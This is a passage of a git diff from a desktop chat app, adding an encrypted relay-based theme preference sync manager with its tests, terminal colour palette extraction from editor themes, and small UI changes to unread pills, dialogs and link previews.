+      acknowledgements.push(event);
+    });
+    manager.publish(preference);
+    timer.fire();
+    await waitUntil(() => published.length === 1);
+
+    manager.acceptRemote({
+      preference: { ...preference, theme: "dracula" },
+      createdAt: published[0].created_at,
+      eventId: "remote-a",
+    });
+    signedEventId = "republished-a";
+    manager.publish(preference);
+    timer.fire();
+    await waitUntil(() => published.length === 2);
+
+    assert.equal(acknowledgements.length, 2);
+    assert.equal(acknowledgements[1].eventId, "republished-a");
+    assert.equal(manager.getPending(), null);
+  } finally {
+    delete globalThis.window.__TAURI_INTERNALS__;
+    timer.restore();
+    mock.reset();
+  }
+});
+
+test("serializes an in-flight publish before sending the latest edit", async () => {
+  const timer = installFakeTimer();
+  const first = Promise.withResolvers();
+  const published = [];
+  let signed = 0;
+  globalThis.window.__TAURI_INTERNALS__ = {
+    invoke(command, args) {
+      if (command === "nip44_encrypt_to_self") return Promise.resolve("cipher");
+      if (command === "sign_event") {
+        signed += 1;
+        return Promise.resolve(
+          JSON.stringify(
+            relayEvent({
+              id: `event-${signed}`,
+              content: args.content,
+              created_at: args.createdAt,
+            }),
+          ),
+        );
+      }
+      throw new Error(`unexpected command: ${command}`);
+    },
+  };
+  mock.method(relayClient, "publishEvent", (event) => {
+    published.push(event);
+    return published.length === 1 ? first.promise : Promise.resolve();
+  });
+  try {
+    const manager = new CommunityThemeSyncManager("alice");
+    manager.publish(preference);
+    timer.fire();
+    await waitUntil(() => published.length === 1);
+
+    const latest = { ...preference, theme: "dracula" };
+    manager.publish(latest);
+    timer.fire();
+    await new Promise((resolve) => setImmediate(resolve));
+    assert.equal(published.length, 1);
+
+    first.resolve();
+    await waitUntil(() => timer.pending());
+    assert.equal(timer.delay(), 0);
+    timer.fire();
+    await waitUntil(() => published.length === 2);
+
+    assert.ok(published[1].created_at > published[0].created_at);
+    assert.deepEqual(manager.getPending(), null);
+  } finally {
+    delete globalThis.window.__TAURI_INTERNALS__;
+    timer.restore();
+    mock.reset();
+  }
+});
+
+test("republishes above a newer remote observed while publish is in flight", async () => {
+  const timer = installFakeTimer();
+  const first = Promise.withResolvers();
+  const published = [];
+  const acknowledgements = [];
+  let signed = 0;
+  globalThis.window.__TAURI_INTERNALS__ = {
+    invoke(command, args) {
+      if (command === "nip44_encrypt_to_self") return Promise.resolve("cipher");
+      if (command === "sign_event") {
+        signed += 1;
+        return Promise.resolve(
+          JSON.stringify(
+            relayEvent({
+              id: `event-${signed}`,
+              content: args.content,
+              created_at: args.createdAt,
+            }),
+          ),
+        );
+      }
+      throw new Error(`unexpected command: ${command}`);
+    },
+  };
+  mock.method(relayClient, "publishEvent", (event) => {
+    published.push(event);
+    return published.length === 1 ? first.promise : Promise.resolve();
+  });
+  try {
+    const manager = new CommunityThemeSyncManager("alice", (event) => {
+      acknowledgements.push(event);
+    });
+    manager.publish(preference);
+    timer.fire();
+    await waitUntil(() => published.length === 1);
+
+    manager.acceptRemote({
+      preference: { ...preference, theme: "dracula" },
+      createdAt: published[0].created_at + 100,
+      eventId: "remote-winner",
+    });
+    first.resolve();
+    await waitUntil(() => timer.pending());
+    assert.equal(acknowledgements.length, 0);
+    assert.deepEqual(manager.getPending(), preference);
+
+    timer.fire();
+    await waitUntil(() => acknowledgements.length === 1);
+    assert.equal(published.length, 2);
+    assert.ok(published[1].created_at > published[0].created_at + 100);
+    assert.deepEqual(manager.getPending(), null);
+  } finally {
+    delete globalThis.window.__TAURI_INTERNALS__;
+    timer.restore();
+    mock.reset();
+  }
+});
+
+test("delayed live decryption fences publish acknowledgement and preserves local intent", async () => {
+  const timer = installFakeTimer();
+  const firstPublish = Promise.withResolvers();
+  const remotePlaintext = Promise.withResolvers();
+  const published = [];
+  const acknowledgements = [];
+  let liveCallback;
+  let signed = 0;
+  globalThis.window.__TAURI_INTERNALS__ = {
+    invoke(command, args) {
+      if (command === "nip44_encrypt_to_self") return Promise.resolve("cipher");
+      if (command === "nip44_decrypt_from_self") return remotePlaintext.promise;
+      if (command === "sign_event") {
+        signed += 1;
+        return Promise.resolve(
+          JSON.stringify(
+            relayEvent({
+              id: `event-${signed}`,
+              content: args.content,
+              created_at: args.createdAt,
+            }),
+          ),
+        );
+      }
+      throw new Error(`unexpected command: ${command}`);
+    },
+  };
+  mock.method(relayClient, "subscribeLive", (_filter, callback) => {
+    liveCallback = callback;
+    return Promise.resolve(async () => {});
+  });
+  mock.method(relayClient, "publishEvent", (event) => {
+    published.push(event);
+    return published.length === 1 ? firstPublish.promise : Promise.resolve();
+  });
+  try {
+    const manager = new CommunityThemeSyncManager("alice", (event) => {
+      acknowledgements.push(event);
+    });
+    await manager.subscribe(() => {});
+    manager.publish(preference);
+    timer.fire();
+    await waitUntil(() => published.length === 1);
+
+    liveCallback(
+      relayEvent({
+        id: "remote-winner",
+        content: "delayed-ciphertext",
+        created_at: published[0].created_at + 100,
+      }),
+    );
+    firstPublish.resolve();
+    await new Promise((resolve) => setImmediate(resolve));
+    assert.equal(acknowledgements.length, 0);
+    assert.deepEqual(manager.getPending(), preference);
+
+    remotePlaintext.resolve(
+      JSON.stringify({ ...preference, theme: "dracula" }),
+    );
+    await waitUntil(() => timer.pending());
+    assert.equal(acknowledgements.length, 0);
+    assert.deepEqual(manager.getPending(), preference);
+
+    timer.fire();
+    await waitUntil(() => acknowledgements.length === 1);
+    assert.equal(published.length, 2);
+    assert.ok(published[1].created_at > published[0].created_at + 100);
+    assert.deepEqual(manager.getPending(), null);
+  } finally {
+    delete globalThis.window.__TAURI_INTERNALS__;
+    timer.restore();
+    mock.reset();
+  }
+});
+
+test("transient publish failure retries and acknowledges exact event", async () => {
+  const timer = installFakeTimer();
+  const published = [];
+  const acknowledgements = [];
+  let attempts = 0;
+  globalThis.window.__TAURI_INTERNALS__ = {
+    invoke(command, args) {
+      if (command === "nip44_encrypt_to_self") return Promise.resolve("cipher");
+      if (command === "sign_event") {
+        return Promise.resolve(
+          JSON.stringify(
+            relayEvent({
+              id: "published-event",
+              content: args.content,
+              created_at: args.createdAt,
+            }),
+          ),
+        );
+      }
+      throw new Error(`unexpected command: ${command}`);
+    },
+  };
+  mock.method(relayClient, "publishEvent", (event) => {
+    attempts += 1;
+    if (attempts === 1) return Promise.reject(new Error("timeout"));
+    published.push(event);
+    return Promise.resolve();
+  });
+  try {
+    const manager = new CommunityThemeSyncManager("alice", (event) => {
+      acknowledgements.push(event);
+    });
+    manager.publish(preference);
+    timer.fire();
+    await waitUntil(() => timer.pending());
+    assert.equal(timer.delay(), 1_000);
+    assert.deepEqual(manager.getPending(), preference);
+
+    timer.fire();
+    await waitUntil(() => acknowledgements.length === 1);
+    assert.equal(attempts, 2);
+    assert.equal(published.length, 1);
+    assert.equal(manager.getPending(), null);
+    assert.deepEqual(acknowledgements[0], {
+      preference,
+      createdAt: published[0].created_at,
+      eventId: "published-event",
+    });
+  } finally {
+    delete globalThis.window.__TAURI_INTERNALS__;
+    timer.restore();
+    mock.reset();
+  }
+});
+
+async function waitUntil(condition) {
+  for (let attempt = 0; attempt < 100; attempt += 1) {
+    if (condition()) return;
+    await new Promise((resolve) => setImmediate(resolve));
+  }
+  assert.fail("condition not met");
+}
diff --git a/desktop/src/shared/theme/communityThemeSync.ts b/desktop/src/shared/theme/communityThemeSync.ts
new file mode 100644
index 0000000000..934e3d55ce
--- /dev/null
+++ b/desktop/src/shared/theme/communityThemeSync.ts
@@ -0,0 +1,321 @@
+import { relayClient } from "@/shared/api/relayClient";
+import {
+  nip44DecryptFromSelf,
+  nip44EncryptToSelf,
+  signRelayEvent,
+} from "@/shared/api/tauri";
+import type { RelayEvent } from "@/shared/api/types";
+import { KIND_COMMUNITY_THEME } from "@/shared/constants/kinds";
+import {
+  parseCommunityThemePreference,
+  sameCommunityThemePreference,
+  type CommunityThemePreference,
+} from "./communityThemePreference";
+
+const D_TAG = "community-theme";
+const DEBOUNCE_MS = 2_000;
+const PUBLISH_RETRY_BASE_MS = 1_000;
+const PUBLISH_RETRY_MAX_MS = 30_000;
+
+export type PublishedCommunityTheme = {
+  preference: CommunityThemePreference;
+  createdAt: number;
+  eventId: string;
+};
+
+export type RemoteCommunityTheme = {
+  preference: CommunityThemePreference;
+  createdAt: number;
+  eventId: string;
+};
+
+export type RemoteCommunityThemeResult =
+  | { status: "valid"; remote: RemoteCommunityTheme }
+  | { status: "absent" | "invalid" | "unavailable" };
+
+export function isNewerCommunityThemeCoordinate(
+  candidate: { createdAt: number; eventId: string },
+  current: { createdAt: number; eventId: string },
+): boolean {
+  return (
+    candidate.createdAt > current.createdAt ||
+    (candidate.createdAt === current.createdAt &&
+      (current.eventId === "" || candidate.eventId < current.eventId))
+  );
+}
+
+export function shouldSeedCommunityTheme(
+  result: RemoteCommunityThemeResult,
+): boolean {
+  return result.status === "absent";
+}
+
+async function decryptAndParse(
+  event: RelayEvent,
+): Promise<RemoteCommunityTheme | null> {
+  try {
+    const plaintext = await nip44DecryptFromSelf(event.content);
+    const preference = parseCommunityThemePreference(JSON.parse(plaintext));
+    return preference
+      ? { preference, createdAt: event.created_at, eventId: event.id }
+      : null;
+  } catch {
+    return null;
+  }
+}
+
+export class CommunityThemeSyncManager {
+  private readonly pubkey: string;
+  private debounceTimer: number | null = null;
+  private destroyed = false;
+  private lastRemoteCreatedAt = 0;
+  private lastRemoteEventId = "";
+  private lastPublished: PublishedCommunityTheme | null = null;
+  private pending: CommunityThemePreference | null = null;
+  private publishInFlight = false;
+  private publishRetryAttempt = 0;
+  private readonly remoteProcessing = new Set<Promise<unknown>>();
+  private readonly onPublished: (published: PublishedCommunityTheme) => void;
+
+  constructor(
+    pubkey: string,
+    onPublished: (published: PublishedCommunityTheme) => void = () => {},
+  ) {
+    this.pubkey = pubkey;
+    this.onPublished = onPublished;
+  }
+
+  async fetchRemote(): Promise<RemoteCommunityThemeResult> {
+    try {
+      const events = await relayClient.fetchEvents({
+        kinds: [KIND_COMMUNITY_THEME],
+        authors: [this.pubkey],
+        "#d": [D_TAG],
+        limit: 1,
+      });
+      if (events.length === 0) return { status: "absent" };
+      if (events[0].pubkey !== this.pubkey) return { status: "invalid" };
+      const processing = decryptAndParse(events[0]);
+      this.trackRemoteProcessing(processing);
+      const remote = await processing;
+      if (!remote) return { status: "invalid" };
+      if (
+        isNewerCommunityThemeCoordinate(remote, {
+          createdAt: this.lastRemoteCreatedAt,
+          eventId: this.lastRemoteEventId,
+        })
+      ) {
+        this.lastRemoteCreatedAt = remote.createdAt;
+        this.lastRemoteEventId = remote.eventId;
+      }
+      return { status: "valid", remote };
+    } catch {
+      return { status: "unavailable" };
+    }
+  }
+
+  publish(preference: CommunityThemePreference): void {
+    if (this.destroyed) return;
+    this.pending = preference;
+    this.publishRetryAttempt = 0;
+    this.schedulePublish(DEBOUNCE_MS);
+  }
+
+  private schedulePublish(delayMs: number): void {
+    if (this.destroyed) return;
+    if (this.debounceTimer !== null) {
+      window.clearTimeout(this.debounceTimer);
+    }
+    this.debounceTimer = window.setTimeout(() => {
+      this.debounceTimer = null;
+      this.startPublish();
+    }, delayMs);
+  }
+
+  private startPublish(): void {
+    if (this.destroyed || this.publishInFlight || !this.pending) return;
+    this.publishInFlight = true;
+    const preference = this.pending;
+    void this.doPublish(preference).finally(() => {
+      this.publishInFlight = false;
+      if (
+        !this.destroyed &&
+        this.pending &&
+        !sameCommunityThemePreference(this.pending, preference) &&
+        this.debounceTimer === null
+      ) {
+        this.schedulePublish(0);
+      }
+    });
+  }
+
+  getPending(): CommunityThemePreference | null {
+    return this.pending;
+  }
+
+  acceptRemote(remote: RemoteCommunityTheme): void {
+    if (
+      isNewerCommunityThemeCoordinate(remote, {
+        createdAt: this.lastRemoteCreatedAt,
+        eventId: this.lastRemoteEventId,
+      })
+    ) {
+      this.lastRemoteCreatedAt = remote.createdAt;
+      this.lastRemoteEventId = remote.eventId;
+    }
+    const lastPublished = this.lastPublished;
+    if (
+      lastPublished &&
+      (lastPublished.createdAt !== remote.createdAt ||
+        lastPublished.eventId !== remote.eventId)
+    ) {
+      this.lastPublished = null;
+    }
+  }
+
+  cancelPendingPublish(): void {
+    if (this.debounceTimer !== null) {
+      window.clearTimeout(this.debounceTimer);
+      this.debounceTimer = null;
+    }
+    this.pending = null;
+  }
+
+  private async doPublish(preference: CommunityThemePreference): Promise<void> {
+    try {
+      const lastPublished = this.lastPublished;
+      if (
+        this.destroyed ||
+        (lastPublished &&
+          sameCommunityThemePreference(lastPublished.preference, preference))
+      ) {
+        if (
+          this.pending &&
+          sameCommunityThemePreference(this.pending, preference)
+        ) {
+          this.pending = null;
+          if (lastPublished) this.onPublished(lastPublished);
+        }
+        return;
+      }
+      const ciphertext = await nip44EncryptToSelf(JSON.stringify(preference));
+      if (this.destroyed) return;
+      const event = await signRelayEvent({
+        kind: KIND_COMMUNITY_THEME,
+        content: ciphertext,
+        createdAt: Math.max(
+          Math.floor(Date.now() / 1_000),
+          this.lastRemoteCreatedAt + 1,
+        ),
+        tags: [
+          ["d", D_TAG],
+          ["t", D_TAG],
+        ],
+      });
+      if (this.destroyed) return;
+      await relayClient.publishEvent(
+        event,
+        "Timed out publishing community theme.",
+        "Failed to publish community theme.",
+      );
+      await this.waitForDeliveredRemotes();
+      if (this.destroyed) return;
+      const published = {
+        preference,
+        createdAt: event.created_at,
+        eventId: event.id,
+      };
+      const eventLostToRemote = isNewerCommunityThemeCoordinate(
+        {
+          createdAt: this.lastRemoteCreatedAt,
+          eventId: this.lastRemoteEventId,
+        },
+        published,
+      );
+      if (eventLostToRemote) {
+        this.lastPublished = null;
+        this.publishRetryAttempt = 0;
+        if (
+          this.pending &&
+          sameCommunityThemePreference(this.pending, preference)
+        ) {
+          this.schedulePublish(0);
+        }
+        return;
+      }
+      this.lastRemoteCreatedAt = event.created_at;
+      this.lastRemoteEventId = event.id;
+      this.lastPublished = published;
+      this.publishRetryAttempt = 0;
+      if (
+        this.pending &&
+        sameCommunityThemePreference(this.pending, preference)
+      ) {
+        this.pending = null;
+      }
+      this.onPublished(published);
+    } catch (error) {
+      console.warn("[communityThemeSync] publish failed:", error);
+      if (
+        this.destroyed ||
+        !this.pending ||
+        !sameCommunityThemePreference(this.pending, preference)
+      ) {
+        return;
+      }
+      const delay = Math.min(
+        PUBLISH_RETRY_BASE_MS * 2 ** this.publishRetryAttempt,
+        PUBLISH_RETRY_MAX_MS,
+      );
+      this.publishRetryAttempt += 1;
+      this.schedulePublish(delay);
+    }
+  }
+
+  private trackRemoteProcessing(task: Promise<unknown>): void {
+    this.remoteProcessing.add(task);
+    void task.then(
+      () => this.remoteProcessing.delete(task),
+      () => this.remoteProcessing.delete(task),
+    );
+  }
+
+  private async waitForDeliveredRemotes(): Promise<void> {
+    await Promise.allSettled([...this.remoteProcessing]);
+  }
+
+  async subscribe(
+    onUpdate: (remote: RemoteCommunityTheme) => void,
+  ): Promise<() => Promise<void>> {
+    return relayClient.subscribeLive(
+      {
+        kinds: [KIND_COMMUNITY_THEME],
+        authors: [this.pubkey],
+        "#d": [D_TAG],
+        limit: 0,
+      },
+      (event: RelayEvent) => {
+        if (event.pubkey !== this.pubkey || this.destroyed) return;
+        const processing = decryptAndParse(event).then((remote) => {
+          if (!remote || this.destroyed) return;
+          if (
+            isNewerCommunityThemeCoordinate(remote, {
+              createdAt: this.lastRemoteCreatedAt,
+              eventId: this.lastRemoteEventId,
+            })
+          ) {
+            this.lastRemoteCreatedAt = remote.createdAt;
+            this.lastRemoteEventId = remote.eventId;
+          }
+          onUpdate(remote);
+        });
+        this.trackRemoteProcessing(processing);
+      },
+    );
+  }
+
+  destroy(): void {
+    this.destroyed = true;
+    this.cancelPendingPublish();
+  }
+}
diff --git a/desktop/src/shared/theme/terminal-palette.test.mjs b/desktop/src/shared/theme/terminal-palette.test.mjs
new file mode 100644
index 0000000000..bb1569ad46
--- /dev/null
+++ b/desktop/src/shared/theme/terminal-palette.test.mjs
@@ -0,0 +1,55 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  SYNTAX_THEMES,
+  extractThemeInfo,
+  loadThemeData,
+} from "./theme-loader.ts";
+import { ANSI_COLOR_NAMES } from "./terminal-palette.ts";
+
+const HEX = /^#[\da-f]{6}$/;
+
+test("every bundled theme produces a complete normalized terminal palette", async () => {
+  assert.ok(
+    SYNTAX_THEMES.length > 0,
+    "the bundled theme audit cannot be empty",
+  );
+
+  for (const name of SYNTAX_THEMES) {
+    const theme = await loadThemeData(name);
+    const palette = extractThemeInfo(name, theme).terminalPalette;
+    for (const [slot, color] of Object.entries({
+      background: palette.background,
+      foreground: palette.foreground,
+      cursor: palette.cursor,
+      cursorText: palette.cursorText,
+      ...palette.ansi,
+    })) {
+      assert.match(color, HEX, `${name} has invalid ${slot}: ${color}`);
+    }
+    assert.deepEqual(Object.keys(palette.ansi), [...ANSI_COLOR_NAMES]);
+  }
+});
+
+test("exact ANSI colors win and missing bright colors derive toward contrast", () => {
+  const info = extractThemeInfo("fixture", {
+    name: "fixture",
+    type: "dark",
+    colors: {
+      "editor.background": "#101010",
+      "editor.foreground": "#eeeeee",
+      "terminal.ansiRed": "#123456",
+    },
+    tokenColors: [
+      { scope: ["string.quoted"], settings: { foreground: "#00aa33" } },
+    ],
+  });
+
+  assert.equal(info.terminalPalette.ansi.red, "#123456");
+  assert.equal(info.terminalPalette.ansi.green, "#00aa33");
+  assert.notEqual(
+    info.terminalPalette.ansi.brightRed,
+    info.terminalPalette.ansi.red,
+  );
+});
diff --git a/desktop/src/shared/theme/terminal-palette.ts b/desktop/src/shared/theme/terminal-palette.ts
new file mode 100644
index 0000000000..275dccfaf9
--- /dev/null
+++ b/desktop/src/shared/theme/terminal-palette.ts
@@ -0,0 +1,181 @@
+import type { ThemeRegistrationRaw } from "shiki";
+
+export const ANSI_COLOR_NAMES = [
+  "black",
+  "red",
+  "green",
+  "yellow",
+  "blue",
+  "magenta",
+  "cyan",
+  "white",
+  "brightBlack",
+  "brightRed",
+  "brightGreen",
+  "brightYellow",
+  "brightBlue",
+  "brightMagenta",
+  "brightCyan",
+  "brightWhite",
+] as const;
+
+export type AnsiColorName = (typeof ANSI_COLOR_NAMES)[number];
+
+export type TerminalPalette = {
+  background: string;
+  foreground: string;
+  cursor: string;
+  cursorText: string;
+  ansi: Readonly<Record<AnsiColorName, string>>;
+};
+
+type TokenSetting = {
+  scope?: string | readonly string[];
+  settings?: { foreground?: string };
+};
+
+type Rgb = readonly [number, number, number];
+
+const FALLBACK_HUES: Readonly<Record<string, string>> = {
+  red: "#d75f5f",
+  green: "#5faf87",
+  yellow: "#d7af5f",
+  blue: "#5f87d7",
+  magenta: "#af87d7",
+  cyan: "#5fafd7",
+};
+
+const SCOPE_ANCHORS: Readonly<Record<string, readonly string[]>> = {
+  red: ["invalid", "keyword", "deleted"],
+  green: ["string", "inserted", "tag"],
+  yellow: ["type", "class", "escape"],
+  blue: ["function", "call", "method"],
+  magenta: ["numeric", "constant", "operator"],
+  cyan: ["attribute", "parameter", "property"],
+};
+
+function parseHex(value: string | undefined): Rgb | null {
+  if (!value) return null;
+  const match = /^#([\da-f]{3}|[\da-f]{6}|[\da-f]{8})$/i.exec(value.trim());
+  if (!match) return null;
+  let hex = match[1];
+  if (hex.length === 3) hex = [...hex].map((part) => `${part}${part}`).join("");
+  if (hex.length === 8) hex = hex.slice(0, 6);
+  return [
+    Number.parseInt(hex.slice(0, 2), 16),
+    Number.parseInt(hex.slice(2, 4), 16),
+    Number.parseInt(hex.slice(4, 6), 16),
+  ];
+}
+
+function toHex(rgb: Rgb): string {
+  return `#${rgb
+    .map((channel) => Math.round(channel).toString(16).padStart(2, "0"))
+    .join("")}`;
+}
+
+function normalizeHex(value: string | undefined, fallback: string): string {
+  const color = parseHex(value);
+  return color ? toHex(color) : fallback;
+}
+
+function mix(from: string, to: string, amount: number): string {
+  const a = parseHex(from);
+  const b = parseHex(to);
+  if (!a || !b) return from;
+  return toHex([
+    a[0] + (b[0] - a[0]) * amount,
+    a[1] + (b[1] - a[1]) * amount,
+    a[2] + (b[2] - a[2]) * amount,
+  ]);
+}
+
+function luminance(color: string): number {
+  const rgb = parseHex(color) ?? [0, 0, 0];
+  const channels = rgb.map((channel) => {
+    const value = channel / 255;
+    return value <= 0.04045 ? value / 12.92 : ((value + 0.055) / 1.055) ** 2.4;
+  });
+  return channels[0] * 0.2126 + channels[1] * 0.7152 + channels[2] * 0.0722;
+}
+
+function tokenSettings(theme: ThemeRegistrationRaw): readonly TokenSetting[] {
+  const source =
+    (theme as ThemeRegistrationRaw & { tokenColors?: readonly TokenSetting[] })
+      .tokenColors ?? (theme.settings as readonly TokenSetting[] | undefined);
+  return source ?? [];
+}
+
+function scopeColor(
+  settings: readonly TokenSetting[],
+  anchors: readonly string[],
+): string | undefined {
+  for (const entry of settings) {
+    if (!entry.settings?.foreground || !entry.scope) continue;
+    const scopes = Array.isArray(entry.scope) ? entry.scope : [entry.scope];
+    if (
+      scopes.some((scope) =>
+        anchors.some((anchor) =>
+          scope
+            .toLowerCase()
+            .split(/[.,\s]+/)
+            .some((part: string) => part.includes(anchor)),
+        ),
+      )
+    ) {
+      return entry.settings.foreground;
+    }
+  }
+  return undefined;
+}
+
+/** Derive a complete terminal palette from the same immutable Shiki theme. */
+export function extractTerminalPalette(
+  theme: ThemeRegistrationRaw,
+): TerminalPalette {
+  const colors = (theme.colors ?? {}) as Readonly<Record<string, string>>;
+  const background = normalizeHex(colors["editor.background"], "#1e1e1e");
+  const foreground = normalizeHex(colors["editor.foreground"], "#d4d4d4");
+  const isLight = luminance(background) > luminance(foreground);
+  const brightenToward = isLight ? "#000000" : "#ffffff";
+  const settings = tokenSettings(theme);
+
+  const base: Record<string, string> = {
+    black: normalizeHex(
+      colors["terminal.ansiBlack"],
+      mix(background, foreground, 0.16),
+    ),
+    white: normalizeHex(
+      colors["terminal.ansiWhite"],
+      mix(background, foreground, 0.82),
+    ),
+  };
+
+  for (const name of ["red", "green", "yellow", "blue", "magenta", "cyan"]) {
+    const key = `terminal.ansi${name[0].toUpperCase()}${name.slice(1)}`;
+    const anchored = scopeColor(settings, SCOPE_ANCHORS[name]);
+    const fallback = mix(FALLBACK_HUES[name], foreground, 0.18);
+    base[name] = normalizeHex(colors[key], normalizeHex(anchored, fallback));
+  }
+
+  const ansi = {} as Record<AnsiColorName, string>;
+  for (const name of ANSI_COLOR_NAMES.slice(0, 8)) {
+    ansi[name] = base[name];
+  }
+  ANSI_COLOR_NAMES.slice(8).forEach((brightName, index) => {
+    const baseName = ANSI_COLOR_NAMES[index];
+    const key = `terminal.ansi${brightName[0].toUpperCase()}${brightName.slice(1)}`;
+    ansi[brightName] = normalizeHex(
+      colors[key],
+      mix(base[baseName], brightenToward, 0.28),
+    );
+  });
+
+  return {
+    background,
+    foreground,
+    cursor: normalizeHex(colors["terminalCursor.foreground"], foreground),
+    cursorText: normalizeHex(colors["terminalCursor.background"], background),
+    ansi,
+  };
+}
diff --git a/desktop/src/shared/theme/theme-loader.ts b/desktop/src/shared/theme/theme-loader.ts
index f74f0d090e..0ae4a15ba3 100644
--- a/desktop/src/shared/theme/theme-loader.ts
+++ b/desktop/src/shared/theme/theme-loader.ts
@@ -6,6 +6,10 @@
  */
 
 import type { ThemeRegistrationRaw } from "shiki";
+import {
+  type TerminalPalette,
+  extractTerminalPalette,
+} from "./terminal-palette";
 
 /**
  * Buzz theme name. Buzz is a first-party light theme that reuses GitHub
@@ -380,6 +384,7 @@ export interface ThemeInfo {
   added: string | null;
   deleted: string | null;
   modified: string | null;
+  terminalPalette: TerminalPalette;
 }
 
 export function extractThemeInfo(
@@ -402,6 +407,7 @@ export function extractThemeInfo(
       fg,
     ),
     ...gitColors,
+    terminalPalette: extractTerminalPalette(theme),
   };
 }
 
diff --git a/desktop/src/shared/ui/UnreadPill.tsx b/desktop/src/shared/ui/UnreadPill.tsx
index 153e614787..15c0540730 100644
--- a/desktop/src/shared/ui/UnreadPill.tsx
+++ b/desktop/src/shared/ui/UnreadPill.tsx
@@ -1,9 +1,12 @@
 import { ArrowDown, ArrowUp } from "lucide-react";
 
+import { cn } from "@/shared/lib/cn";
 import { Button } from "@/shared/ui/button";
 
 const UNREAD_PILL_CLASS =
   "pointer-events-auto h-7 min-h-7 gap-1.5 rounded-full border-border/70 bg-background/95 px-2 py-1 text-2xs font-medium tracking-[0.02em] text-muted-foreground/70 shadow-xs backdrop-blur-sm hover:bg-muted/70 hover:text-foreground [&_svg]:size-4";
+const PRIMARY_UNREAD_PILL_CLASS =
+  "pointer-events-auto h-7 min-h-7 gap-1.5 rounded-full px-2 py-1 text-xs font-medium shadow-sm [&_svg]:size-4";
 
 export function unreadCountLabel(count: number) {
   return `${count} new message${count === 1 ? "" : "s"}`;
@@ -11,11 +14,13 @@ export function unreadCountLabel(count: number) {
 
 export function UnreadPill({
   direction,
+  emphasis = "default",
   label,
   onClick,
   testId,
 }: {
   direction: "up" | "down";
+  emphasis?: "default" | "primary";
   label: string;
   onClick: () => void;
   testId: string;
@@ -23,12 +28,14 @@ export function UnreadPill({
   const Arrow = direction === "up" ? ArrowUp : ArrowDown;
   return (
     <Button
-      className={UNREAD_PILL_CLASS}
+      className={cn(
+        emphasis === "primary" ? PRIMARY_UNREAD_PILL_CLASS : UNREAD_PILL_CLASS,
+      )}
       data-testid={testId}
       onClick={onClick}
       size="sm"
       type="button"
-      variant="outline"
+      variant={emphasis === "primary" ? "default" : "outline"}
     >
       <Arrow aria-hidden />
       {label}
diff --git a/desktop/src/shared/ui/chooser-dialog-content.tsx b/desktop/src/shared/ui/chooser-dialog-content.tsx
index e802bc736a..905fce6e60 100644
--- a/desktop/src/shared/ui/chooser-dialog-content.tsx
+++ b/desktop/src/shared/ui/chooser-dialog-content.tsx
@@ -2,7 +2,12 @@ import * as React from "react";
 
 import { cn } from "@/shared/lib/cn";
 
-import { DialogContent, DialogHeader, DialogTitle } from "./dialog";
+import {
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from "./dialog";
 
 type ChooserDialogContentProps = React.ComponentPropsWithoutRef<
   typeof DialogContent
@@ -13,6 +18,7 @@ type ChooserDialogContentProps = React.ComponentPropsWithoutRef<
   footerTestId?: string;
   contentClassName?: string;
   headerClassName?: string;
+  headerSubtitle?: React.ReactNode;
   headerTestId?: string;
   scrollAreaClassName?: string;
   scrollAreaTestId?: string;
@@ -33,6 +39,7 @@ export const ChooserDialogContent = React.forwardRef<
       footerClassName,
       footerTestId,
       headerClassName,
+      headerSubtitle,
       headerTestId,
       scrollAreaClassName,
       scrollAreaTestId,
@@ -56,6 +63,9 @@ export const ChooserDialogContent = React.forwardRef<
         data-testid={headerTestId}
       >
         <DialogTitle>{title}</DialogTitle>
+        {headerSubtitle ? (
+          <DialogDescription>{headerSubtitle}</DialogDescription>
+        ) : null}
       </DialogHeader>
 
       <div
diff --git a/desktop/src/shared/ui/link-preview-attachment.tsx b/desktop/src/shared/ui/link-preview-attachment.tsx
index 5d6b80767a..ad848a42ba 100644
--- a/desktop/src/shared/ui/link-preview-attachment.tsx
+++ b/desktop/src/shared/ui/link-preview-attachment.tsx
@@ -2,6 +2,7 @@ import { ExternalLink } from "lucide-react";
 
 import type { SupportedLinkPreview } from "@/shared/lib/linkPreview";
 import { cn } from "@/shared/lib/cn";
+import { BuzzMark } from "@/shared/ui/buzz-logo/BuzzMark";
 import {
   Attachment,
   AttachmentActions,
@@ -91,6 +92,10 @@ function GoogleSlidesLogo({ className }: { className?: string }) {
 
 function LinkPreviewLogo({ preview }: { preview: SupportedLinkPreview }) {
   switch (preview.kind) {
+    case "buzz-issue":
+    case "buzz-pull-request":
+    case "buzz-repository":
+      return <BuzzMark className="h-4 w-4" />;
     case "github-issue":
     case "github-pull-request":
     case "github-repository":
@@ -111,9 +116,16 @@ function LinkPreviewLogo({ preview }: { preview: SupportedLinkPreview }) {
 
 export function LinkPreviewAttachment({
   className,
+  onOpen,
   preview,
 }: {
   className?: string;
+  /**
+   * In-app navigation handler for links the OS cannot open (e.g. `buzz://`
+   * entity deep links). When set, the card renders a button trigger instead
+   * of an external anchor.
+   */
+  onOpen?: () => void;
   preview: SupportedLinkPreview;
 }) {
   return (
@@ -141,18 +153,29 @@ export function LinkPreviewAttachment({
           className="h-4 w-4 text-muted-foreground opacity-0 transition-opacity group-hover/attachment:opacity-100 group-focus-within/attachment:opacity-100"
         />
       </AttachmentActions>
-      <AttachmentTrigger asChild>
-        <a
+      {onOpen ? (
+        <AttachmentTrigger
           aria-label={`Open ${preview.provider} ${preview.typeLabel}: ${preview.title}`}
-          href={preview.href}
-          rel="noreferrer"
-          target="_blank"
+          onClick={onOpen}
         >
           <span className="sr-only">
             Open {preview.provider} {preview.typeLabel}: {preview.title}
           </span>
-        </a>
-      </AttachmentTrigger>
+        </AttachmentTrigger>
+      ) : (
+        <AttachmentTrigger asChild>
+          <a
+            aria-label={`Open ${preview.provider} ${preview.typeLabel}: ${preview.title}`}
+            href={preview.href}
+            rel="noreferrer"
+            target="_blank"
+          >
+            <span className="sr-only">
+              Open {preview.provider} {preview.typeLabel}: {preview.title}
+            </span>
+          </a>
+        </AttachmentTrigger>
+      )}
     </Attachment>
   );
 }
diff --git a/desktop/src/shared/ui/markdown.test.mjs b/desktop/src/shared/ui/markdown.test.mjs
index aa3e02984d..08168c1051 100644
--- a/desktop/src/shared/ui/markdown.test.mjs
+++ b/desktop/src/shared/ui/markdown.test.mjs
@@ -521,9 +521,10 @@ test("rehypeImageGallery: leaves a single trailing image in the text flow", () =
 
 // Regression test: react-markdown's `defaultUrlTransform` strips unknown
 // schemes (returns `""`) before our `a` component override can see them,
-// which would break copy → paste → click for `buzz://message?…` links
